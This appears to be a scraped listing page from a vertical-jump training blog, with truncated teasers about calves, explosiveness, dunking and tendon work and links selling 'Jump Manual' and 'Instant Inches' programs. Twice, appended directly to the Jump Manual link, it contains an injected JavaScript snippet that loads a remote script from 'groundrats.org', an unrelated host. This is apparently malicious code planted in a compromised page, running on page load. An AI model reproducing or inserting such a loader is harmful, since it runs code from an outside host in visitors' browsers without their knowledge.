Are Calves Important For Your Vertical Leap?
Download The "Power Bouncing" Tendon Workout Here
I always get asked "how are the calves important in how high you jump?". People always ask me, "how important are the calves?"
Oh, the calves are important... Oh, they aren't...
I want to cut...
How to “Shock” Your Muscles Into Jumping Higher & Becoming More Explosive
Getting stronger is only one part of the equation for becoming a more explosive athlete.
Many athletes misunderstand that STRENGTH WILL NOT NECESSARILY MAKE YOU FASTER.
HOW MUSCLES BECOME EXPLOSIVE
When you move your muscle, an electrical stimulus is sent by your...
The 9 Things You Must Do For An Explosive Vertical
Download The 9 Essentials To An Explosive Vertical
Training to jump higher and increase your vertical leap is one of the most complicated workout routines you can do because it involves almost all aspects of improving your athleticism.
You cant just...
Q&A: Will Vertical Jump Training Hinder Growth Or Make Kids More Prone To Injury?
Our Jump Manual program can be found here: https://trainhard-trainsmart.com/jumpmanual;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n);x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox');
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How To Jump Higher Using A Simple Trick Track & Field Athletes Have Used...
This is just one of the many techniques that can immediately add height to your jump. You can get access to the rest of them inside our Instant Inches program here.
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The 3 Reasons Why Most Players Can’t Dunk (& How To Fix It)
Over the years I've coached thousands of athletes to jump higher...
From middle school age kids to professional and olympic level athletes...
There are 3 main reasons I've seen that hold any athlete back from jumping high enough to dunk.
The good...
Jacob Hiller Shatters Backboard at 24 Hour Fitness…
(tired legs...didn't even get the dunk down lol)
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Q&A: Is It Better To Be A 1-Foot Or 2-Foot Jumper?
Got this question from John Peterson. Check the answer and tips in the video:
Our Instant Inches program can be found here: https://trainhard-trainsmart.com/instantinches
Our Jump Manual program can be found here: https://trainhard-trainsmart.com/jumpmanual;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n);x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox');
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The Kangaroo’s Secret To Jumping Over 30 Feet, And How To Use It To...
What in the world does a Kangaroo have to do with being able to jump higher?
This is what:
That is a tendon...
And it's the secret to Kangaroos being able to jump over 30 feet.?
And it's not just Kangaroos...?all sorts of...
Q&A: Vertical Jump Workouts For A Busy Schedule?
We recently had a question from David F. about how to train when you have limited time.
You can check the answer and the solution in this video:
If you want to get personalized/customized responses to questions about your specific training,...
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Q&A: Vertical Jump Workouts For A Busy Schedule?
We recently had a question from David F. about how to train when you have limited time.
You can check the answer and the solution...
